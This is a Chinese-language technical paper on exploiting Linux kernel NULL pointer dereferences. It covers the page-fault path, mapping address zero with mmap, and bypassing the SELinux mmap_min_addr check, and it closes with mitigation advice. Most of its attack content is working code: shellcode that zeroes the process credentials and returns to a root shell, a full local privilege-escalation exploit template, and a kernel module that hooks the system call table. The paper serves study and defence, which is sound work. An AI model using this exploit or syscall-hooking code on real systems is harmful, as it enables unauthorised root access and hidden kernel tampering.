How to Exploit Linux Kernel NULL Pointer Dereference

作者：阿里巴巴集团信息安全中心 – wzt
更新时间：2010.1.21
版本: v0.01

1、 引言

最近爆出的几个 Linux kernel 本地溢出漏洞中， 大部分是由于内核引用一个空指针而引发的，因此有必要研究下内核空指针引用发生的原理，
攻击技术以及防御技术。

2、NULL Pointers 的一个示例：

当内核代码引用一个空指针的时候， 就会出现大家常看到的 OOPS 信息：

```
Kernel NULL pointer dereference test.
BUG: unable to handle kernel NULL pointer dereference at virtual address 00000000
  printing eip:
00000000
*pde = 00000000
Oops: 0000 [#5]
SMP
Modules linked in: sys autofs4 ip_conntrack_netbios_ns ipt_REJECT xt_state ip_conntrack nfnetlink xt_tcpudp iptable_filter ip_tables x_tables dm_multipath video sbs i2c_ec button battery asus_acpi ac lp floppy i2c_piix4 i2c_core pcspkr parport_pc parport pcnet32 serio_raw mii ide_cd cdrom dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mbcache
CPU:        1
EIP:        0060:[<00000000>]        Not tainted VLI
EFLAGS: 00010286      (2.6.18 #34)
EIP is at _stext+0x3efffd6c/0x3c
eax: 00000029      ebx: f20c85c0      ecx: 00000046      edx: 00000000
esi: 004b5ca0      edi: f20c85c3      ebp: f1afd000      esp: f1afdf9c
ds: 007b      es: 007b      ss: 0068
Process test (pid: 3542, ti=f1afd000 task=dfc3ed70 task.ti=f1afd000)
Stack: f8a81197 f8a8131d f8a81315 00000002 f20c85c0 bfbedc2e bfbedc30 c1003d10
           bfbedc2e 00000001 bfbedc2e 004b5ca0 bfbedc30 bfbebe38 ffffffda 0000007b
           c100007b 0000003b 08048454 00000073 00000286 bfbebe24 0000007b 00000000
Call Trace:
  [<f8a81197>] new_kernel_null_pointer_test+0x69/0x76 [sys]
  [<c1003d10>] syscall_call+0x7/0xb
Code:    Bad EIP value.
```

EIP: [<00000000>] _stext+0x3efffd6c/0x3c SS:ESP 0068:f1afdf9c

3、NULL Pointer 是如何引发 OOPS 的

在程序的执行过程中，因为遇到某种障碍而使 CPU 无法最终访问到相应的物理内存单元，即无法完成从虚拟地址到物理地址映射的时候，CPU 会产生一次缺页异常，从而进行相应的缺页异常处理。 那么都在什么情况下会引发缺页异常呢，我们分别从用户空间和内核空间来看：

用户空间：
1、 进程访问本身地址空间
---> 访问一个无效的内存地址（如 mmap 后，又 unmap 的一块内存）。
---> 由于用户堆栈用完导致的越界访问（用户进程堆栈空间已被用完， 又有一次函数调用发生，这时 push/pusha 指令被写到进程的堆中。
---> 访问一个还未曾映射的空间。
2、进程访问其他进程空间
3、进程通过非系统调用方式访问内核空间。

内核空间：
1、中断程序，不可延迟程序，临界区代码访问用户空间（可能引起休眠）。
2、内核线程访问访问用户空间。（内核线程不能访问用户空间）。
3、内核访问用户空间（通过系统调用进入内核，有进程的上下文 current)
---> 访问当前进程空间。内核写一个只读的内存。
---> 访问其他进程空间。通过系统调用的参数传递到内核空间的，但是线性地址不属于当前进程。
---> 内核 bug 或硬件错误访问一个用户空间地址。 如空指针引用 bug。
4、访问内核空间。试图写一个没被映射的内核地址。

引起缺页异常可以在用户空间和内核空间中触发， 当 CPU 捕获到这个异常的时候就会引发一次缺页异常中断。由 do_page_fault()函数来
判断和处理这些异常。 我们看下内核是怎么处理引用 NULL pointer 这个异常的：

```
fastcall void __kprobes do_page_fault(struct pt_regs *regs,
                                      unsigned long error_code)
{
        struct task_struct *tsk;
        struct mm_struct *mm;
        struct vm_area_struct * vma;
```

```
        unsigned long address;
        unsigned long page;
        int write, si_code;

    /* 先通过 cr2 寄存器得到引发异常的那个线性地址 */
        address = read_cr2();

        tsk = current;

        si_code = SEGV_MAPERR;

    /* 接着判断一下这个线性地址是不是发生于内核空间 */
        if (unlikely(address >= TASK_SIZE)) {
        /* 如果是内核引用了一内核空间中一处无效地址，则通过 vmalloc_fault 进行修复
*/
                if (!(error_code & 0x0000000d) && vmalloc_fault(address) >= 0)
                        return;
                if (notify_page_fault(DIE_PAGE_FAULT, "page fault", regs, error_code, 14,
                                                SIGSEGV) == NOTIFY_STOP)
                        return;
        /* 如果不是继续跳转到 bad_area_nosemaphore 继续分析原因 */
                goto bad_area_nosemaphore;
        }

    /* 以下用于处理线性地址处于用户空间的情况，注意内核和用户程序都有可能引用一
个无效的用户地址 */
        if (regs->eflags & (X86_EFLAGS_IF|VM_MASK))
                local_irq_enable();

        mm = tsk->mm;

    /* 中断程序，不可延迟程序，临界区代码不能访问用户空间，  跳到
bad_area_nosemaphore 继续分析原因 */
        if (in_atomic() || !mm)
                goto bad_area_nosemaphore;

        if (!down_read_trylock(&mm->mmap_sem)) {
        /* 内核访问用户空间, 通过系统调用的参数传递到内核空间的，但是线性地址不
属于当前进程。*/
                if ((error_code & 4) == 0 &&
                    !search_exception_tables(regs->eip))
                        goto bad_area_nosemaphore;
                down_read(&mm->mmap_sem);
        }
```

```
bad_area:
        up_read(&mm->mmap_sem);

bad_area_nosemaphore:
        /* User mode accesses just cause a SIGSEGV */
        if (error_code & 4) {
        /*  如果是用户进程访问了其他进程的空间，就杀死当前进程  */
                if (is_prefetch(regs, address, error_code))
                        return;

                tsk->thread.cr2 = address;
                /* Kernel addresses are always protection faults */
                tsk->thread.error_code = error_code | (address >= TASK_SIZE);
                tsk->thread.trap_no = 14;
                force_sig_info_fault(SIGSEGV, si_code, address, tsk);
                return;
        }

    /*  如果是由于内核自己访问了用户空间的无效地址，则就会引发 OOPS，
        if (oops_may_print()) {
        /*  如果这个地址小于 PAGE_SIZE, 一般为 4096 字节，内核就认为这是一次空指针
操作， 开始打印 OOPS 信息，杀死当前进程  */
                if (address < PAGE_SIZE)
                        printk(KERN_ALERT "BUG: unable to handle kernel NULL "
                                          "pointer dereference");
                else
                        printk(KERN_ALERT "BUG: unable to handle kernel paging"
                                          " request");
                printk(" at virtual address %08lx\n",address);
                printk(KERN_ALERT " printing eip:\n");
                printk("%08lx\n", regs->eip);
        }
        page = read_cr3();
        page = ((unsigned long *) __va(page))[address >> 22];
        if (oops_may_print())
                printk(KERN_ALERT "*pde = %08lx\n", page);

        force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk);
}
```

3、如何 Exploit

3-1、攻击原理。

在前面我们知道了内核是如何处理一个 NULL pointer 引用的： eip 停止在 0x0 处， 打印

OOPS 信息，然后死机。 我们也知道对于黑客来讲只有在普通权限下能触发的 kernel null pointer 漏洞才是有用的，可以帮助黑客有机会提升进程权限。OK， 既然发生 OOPS 的时候 eip 停留在内存 0x0 地址上， 那么用户进程只要能把 shellcode 放置在内存 0 地址上，并且 kernel 可以去运行用户进程的 shellcode 而不崩溃，那么就达到了提权权限的目的。

3-2、将代码映射到 0 地址内存。

Linux 系统提供了一个系统调用 mmap， 可以通过建立匿名映射配合 MAP_FIXED 标志将用户空间代码映射到内存 0 地址。

mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

我们看看内核是怎么实现的：

```
asmlinkage long sys_mmap2(unsigned long addr, unsigned long len,
                          unsigned long prot, unsigned long flags,
                          unsigned long fd, unsigned long pgoff)
{
        int error = -EBADF;
        struct file *file = NULL;
        struct mm_struct *mm = current->mm;

        flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
    /* 注意到如果没设置 MAP_ANONYMOUS 属性， 就要根据 fd 来获得文件 file 指针， 攻击程序设置了 MAP_ANONYMOUS，并把 fd,offset 都设为 0
        来建立一次匿名映射 */
    if (!(flags & MAP_ANONYMOUS)) {
                file = fget(fd);
                if (!file)
                        goto out;
        }

        down_write(&mm->mmap_sem);
        /* do_mmap_pgoff 才是映射的主体 */
        error = do_mmap_pgoff(file, addr, len, prot, flags, pgoff);
        up_write(&mm->mmap_sem);

        if (file)
                fput(file);
out:
        return error;
}
```

我们从此处只关心建立匿名映射的过程：

```
unsigned long do_mmap_pgoff(struct file * file, unsigned long addr,
                            unsigned long len, unsigned long prot,
                            unsigned long flags, unsigned long pgoff)
```

```
{
...
        /* 用来验证和找到一个可以映射参数 addr 的内存地址 */
        addr = get_unmapped_area_prot(file, addr, len, pgoff, flags, prot & PROT_EXEC);
...
}

get_unmapped_area_prot(struct file *file, unsigned long addr, unsigned long len,
                unsigned long pgoff, unsigned long flags, int exec)
{
...
    /* 如果没设置 MAP_FIXED 选项，就要从进程地址 1G 以上的空间中选取一块未用内存进行映射 */
        if (!(flags & MAP_FIXED)) {
                unsigned long (*get_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);

                if (exec && current->mm->get_unmapped_exec_area)
                        get_area = current->mm->get_unmapped_exec_area;
                else
                        get_area = current->mm->get_unmapped_area;

                if (file && file->f_op && file->f_op->get_unmapped_area)
                        get_area = file->f_op->get_unmapped_area;
                addr = get_area(file, addr, len, pgoff, flags);
                if (IS_ERR_VALUE(addr))
                        return addr;
        }
...
}
```

所以通过以上对内核代码的分析，我们可以用 MAP_ANONYMOUS 和 MAP_FIXED 参数来把用户代码映射到 0 内存处。

3-3、内核为什么可以运行用户空间映射来的代码

0 地址上的代码是由用户自己通过 mmap 映射的， 当用户进程去触发这个 kernel bug 的时候，是通过系统调用进入内核空间，内核通过进程上下文 current 代表进程继续执行， 当 eip 执行到了一个 0x0 地址时，它开始执行用户空间映射过来的代码， 由于有进程上下文，又是在内核态， 所以可以修改当前进程的任何信息包括内核其他代码。

3-4、如何写 shellcode

我们最主要的目的是当内核引用一个 NULL Pointer 的时候去执行我们的 shellcode， 此时是内核来来执行 shellcode，所以 shellcode 可以修改当前进程 current 的 uid，gid 字段使其变为 0， 从而使当前进程获得 root 权限，然后在系统调用完成返回用户空间的时候执行一个

bash, 来获得可爱的#字符。在用 mmap 完成映射的时候，要将 shellcode 放置在内存 0x0 处：

```
*(char *)0 = '\x90';
*(char *)1 = '\xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;
```

即为：NOP+JMP+KERNEL_CODE。 *(unsigned long *)2 为什么要设置为 kernel_code - 6 呢？jmp 指令后面跟的是偏移地址， 为 kernel_code 减去 jmp 指令的下一条指令的地址。 由于是从 0x0 地址开始算偏移的 nop, jmp 本身各占一个字节，在加上偏移地址占用的 4 个字节，1+1+4 = 6。kernel_code 才是真正的 shellcode, 我们的目的是修改 current 的 uid,gid 为 0， 所以可以在获得 current 指针后，暴力搜索 current 结构，匹配用户进程的 uid 和 gid，发现后将其改为 0，即可。

```
struct task_struct {
……
        /* process credentials */
    uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;
……
}

void kernel_code()
{
    int i;
    uint *p = get_current(); // 获得当前进程的 current 指针。

    for (i = 0; i < 1024-13; i++) {
    /*  暴力搜索 uid, euid,suid,fsuid, gid, egid, sgid,fsgid */
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid
&& p[5] == gid && p[6] == gid &&
        p[7] == gid) {
                p[0] = p[1] = p[2] = p[3] = 0;
                p[4] = p[5] = p[6] = p[7] = 0;
                p = (uint *) ((char *)(p + 8) + sizeof(void *));
                p[0] = p[1] = p[2] = ~0;
                break;
        }
        p++;
    }
    // 重新更新堆栈中寄存器值。 替内核执行 iret 指令， 结束系统调用返回用户空间。
    exit_kernel();
}

// 获得当前内核的 current 指针，跟内核的实现方式一样
```

```
static inline __attribute__((always_inline)) void *get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
		"movl %%esp, %%eax ;"
		"andl %1, %%eax ;"
		"movl (%%eax), %0"
		: "=r" (curr)
		: "i" (~8191)
	);
	return (void *) curr;
}
```

// 当发生系统调用中断的时候， 还没进入系统调用服务历程的时候，CPU 是自动把 user cs, ip, cflags, user ess, xx 压入内核堆栈， 当执行 iret 返回用户空间的时候将其 pop 出来， 使得用户程序得以继续运行。exit_kernel 要做的就是修改当前堆栈，重新设置用户空间的 cs 值为用户空间的值， eip 值为 exit_code, 当内核回到用户空间的时候就会去执行 exit_code, exit_code 通常只要执行一个 bash 即可。

```
static inline __attribute__((always_inline)) void exit_kernel()
{
	__asm__ __volatile__ (
		"movl %0, 0x10(%%esp) ;"
		"movl %1, 0x0c(%%esp) ;"
		"movl %2, 0x08(%%esp) ;"
		"movl %3, 0x04(%%esp) ;"
		"movl %4, 0x00(%%esp) ;"
		"iret"
		: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
			"i" (USER_CS), "r" (exit_code)
	);
}

void exit_code()
{
	if (getuid() != 0) {
		fprintf(stderr, "failed\n");
		exit(-1);
	}
	printf("[+] We are root!\n");
	execl("/bin/sh", "sh", "-i", NULL);
}
```

4、实验

在了解了攻击原理和怎样写 shellcode 后，我们开始做实验，验证下我们的想法是不是对的。 这里我故意加载一个有 NULL pointer 引用的内核模块，它给当前系统增加了一个系统调用，然后我们的用户程序引用这个系统调用的时候，就会发生一次 OOPS。

exploit.c

先装入模块

```
[root@localhost test]# insmod /root/exploit/module/sys.ko
```

然后运行 exploit 程序

```
[wzt@localhost ~]$ sh run.sh
[+] Mmap zero memory ok.
[+] We are root!
sh-3.2#
```

看到可爱的#号了吧， 我们成功了！

5、NULL Pointer 与 Selinux 的关系

selinux 是个复杂的安全子系统， 恩！我们看 selinux 在 mmap 映射的时候都干了什么：

```
sys_mmap2->do_mmap_pgoff
unsigned long do_mmap_pgoff(struct file * file, unsigned long addr,
                                unsigned long len, unsigned long prot,
                                unsigned long flags, unsigned long pgoff)
{
...
      // security_file_mmap_addr 为 selinux 提供的 mmap 映射安全接口
            error = security_file_mmap_addr(file, reqprot, prot, flags, addr, 0);
            if (error)
                        return error;
...
}
```

当 selinux 被默认编译进内核的时候为：

```
static inline int security_file_mmap_addr (struct file *file, unsigned long reqprot,
                                                        unsigned long prot,
                                                        unsigned long flags,
                                                        unsigned long addr,
                                                        unsigned long addr_only)
{
            return security_ops->file_mmap_addr (file, reqprot, prot, flags,
                                                            addr, addr_only);
}
```

没编译进内核的时候为：

```
static inline int security_file_mmap_addr (struct file *file, unsigned long reqprot,
                                                        unsigned long prot,
```

```
                                                unsigned long flags,
                                                unsigned long addr,
                                                unsigned long addr_only)
{
        return 0;
}
```

security_ops->file_mmap_addr 在 selinux 初始化的时候进行设置：

```
int __init security_init(void)
{
        printk(KERN_INFO "Security Framework v" SECURITY_FRAMEWORK_VERSION
                " initialized\n");

        if (verify(&dummy_security_ops)) {
                printk(KERN_ERR "%s could not verify "
                        "dummy_security_ops structure.\n", __FUNCTION__);
                return -EIO;
        }

        security_ops = &dummy_security_ops;
        do_security_initcalls();

        return 0;
}
static inline int verify(struct security_operations *ops)
{
        /* verify the security_operations structure exists */
        if (!ops)
                return -EINVAL;
        security_fixup_ops(ops);
        return 0;
}
void security_fixup_ops (struct security_operations *ops)
{
        set_to_dummy_if_null(ops, file_mmap_addr);
}

#define set_to_dummy_if_null(ops, function)                             \
        do {                                                            \
                if (!ops->function) {                                   \
                        ops->function = dummy_##function;               \
                        pr_debug("Had to override the " #function       \
                                " security operation with the dummy one.\n");\
                        }                                               \
```

```
        } while (0)
```
我们看到 security_ops->file_mmap_addr 被设置为 dummy_file_mmap_addr

```
static int dummy_file_mmap_addr (struct file *file, unsigned long reqprot,
                                        unsigned long prot,
                                        unsigned long flags,
                                        unsigned long addr,
                                        unsigned long addr_only)
{
        if ((addr < mmap_min_addr) && !capable(CAP_SYS_RAWIO))
                return -EACCES;
        return 0;
}
```
看到没 selinux 要对 mmap_min_addr 这个值进行判断， 它在/proc/sys/vm/mmap_min_addr 进行设置， 因为我们映射 0 地址的时候可能被 selinux 拦截下来， 但是 selinux 犯了一个错误， 我们看到还要一个条件满足才行：

```
!capable(CAP_SYS_RAWIO)
```
也就是说，如果当前进程没有 CAP_SYS_RAWIO 这个能力的时候并且 addr < mmap_min_addr 的双重条件下才会映射失败。但是 redhat 默认安装的系统，每个进程确是有 CAP_SYS_RAWIO 这个能力的：

```
[root@localhost kernel]# cat cap-bound
-257
[root@localhost kernel]# gdb
(gdb) p/x -257
$1 = 0xfffffeff
```
所以这就是大家看到的开启 selinux 就能溢出成功的原因。

为什么关闭 selinux 反而不能溢出成功了呢？

我们在 /etc/selinux/config 中将 selinux 关闭之后，内核中还是要执行 error = security_file_mmap_addr(file, reqprot, prot, flags, addr, 0);这段代码的，因为是编译的时候就编译进内核了，所以我想即使把 selinux 关闭掉，selinux 还是会做一些事情的，比如可能会把某些权限给重新设置下，所以用户进程反而关闭了 selinux 就不能映射了。我猜测的，不过还没在代码中得到印证。

6、如何防御 Kernel NULL Pointer 0day 攻击

/proc/sys/vm/mmap_min_addr 设置为大于 4096 的值或者关闭 selinux.

7. 附录

7-1. hook examle

```
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
```

```
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>

#include "hook.h"

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;
spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

asmlinkage int (*orig_printk)(const char *fmt, ...);
void (*test)(void) = NULL;

unsigned int get_sct_addr(void)
{
	int i = 0, ret = 0;

	for (; i < 500; i++) {
		if ((*(unsigned char*)(system_call_addr + i) == 0xff)
			&& (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
			&& (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
			ret = *(unsigned int *)(system_call_addr + i + 3);
			break;
		}
	}

	return ret;
}

asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
{
	char *buff = NULL;
	char *p = NULL;
```

```
	buff = (char *)kmalloc(len + 1, GFP_KERNEL);
	if (!buff) {
		printk("kmalloc failed.\n");
		return 0;
	}


	if (copy_from_user(buff, buf, len)) {
		printk("copy data from user failed.\n");
		return 0;
	}
	buff[len + 1] = '\0';
	printk("%d: %s\n", strlen(buff), buff);

	printk("Kernel NULL pointer dereference test.\n");
	test();

	return 1;
}

static int hook_init(void)
{
	struct descriptor_idt *pIdt80;

	__asm__ volatile ("sidt %0": "=m" (idt48));

	pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

	system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
	if (!system_call_addr) {
		DbgPrint("oh, shit! can't find system_call address.\n");
		return 0;
	}
	DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);

	sys_call_table_addr = get_sct_addr();
	if (!sys_call_table_addr) {
		DbgPrint("oh, shit! can't find sys_call_table address.\n");
		return 0;
	}
	DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);

	sys_call_table = (void **)sys_call_table_addr;
```

```
        lock_kernel();
        CLEAR_CR0
        sys_call_table[59] = new_kernel_null_pointer_test;
        SET_CR0
        unlock_kernel();

        printk("install hook ok.\n");
}

static void hook_exit(void)
{
        lock_kernel();
        CLEAR_CR0

        SET_CR0
        unlock_kernel();

        DbgPrint("uninstall hook ok.\n");
}

module_init(hook_init);
module_exit(hook_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
```

7-2. kernel null pointer 攻击模板。

```
#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>
#include "syscalls.h"

static unsigned int uid, gid;
```

```
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)

void exit_code();
char exit_stack[1024 * 1024];

int (*kernel_printk)(const char *fmt, ...);

#define __NR_new_kernel_null_pointer_test		59

static inline my_syscall2(long, new_kernel_null_pointer_test, char *, buff, int, len);
int errno;

static inline __attribute__((always_inline)) void *get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
		"movl %%esp, %%eax ;"
		"andl %1, %%eax ;"
		"movl (%%eax), %0"
		: "=r" (curr)
		: "i" (~8191)
	);
	return (void *) curr;
}

static inline __attribute__((always_inline)) void exit_kernel()
{
	__asm__ __volatile__ (
		"movl %0, 0x10(%%esp) ;"
		"movl %1, 0x0c(%%esp) ;"
		"movl %2, 0x08(%%esp) ;"
		"movl %3, 0x04(%%esp) ;"
		"movl %4, 0x00(%%esp) ;"
		"iret"
		: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
			"i" (USER_CS), "r" (exit_code)
	);
}

void kernel_code()
{
```

```
	int i;
	uint *p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid
&& p[5] == gid && p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint *) ((char *)(p + 8) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}

	exit_kernel();
}

void exit_code()
{
	if (getuid() != 0) {
		fprintf(stderr, "failed\n");
		exit(-1);
	}
	printf("[+] We are root!\n");
	execl("/bin/sh", "sh", "-i", NULL);
}

void test_code(void)
{
	kernel_printk = 0xc0424ae3;

	kernel_printk("We are in kernel.\n");
}

int main(void) {
	void *page;

	uid = getuid();
	gid = getgid();

	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);
```

```
        if ((personality(0xffffffff)) != PER_SVR4) {
                if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED |
MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
                        perror("mmap");
                        return -1;
                }
        } else {
                //if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
                if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE ) < 0) {
                        perror("mprotect");
                        return -1;
                }
        }
        printf("[+] Mmap zero memory ok.\n");

        *(char *)0 = '\x90';
        *(char *)1 = '\xe9';
        *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

        new_kernel_null_pointer_test("abcd", 4);
}
```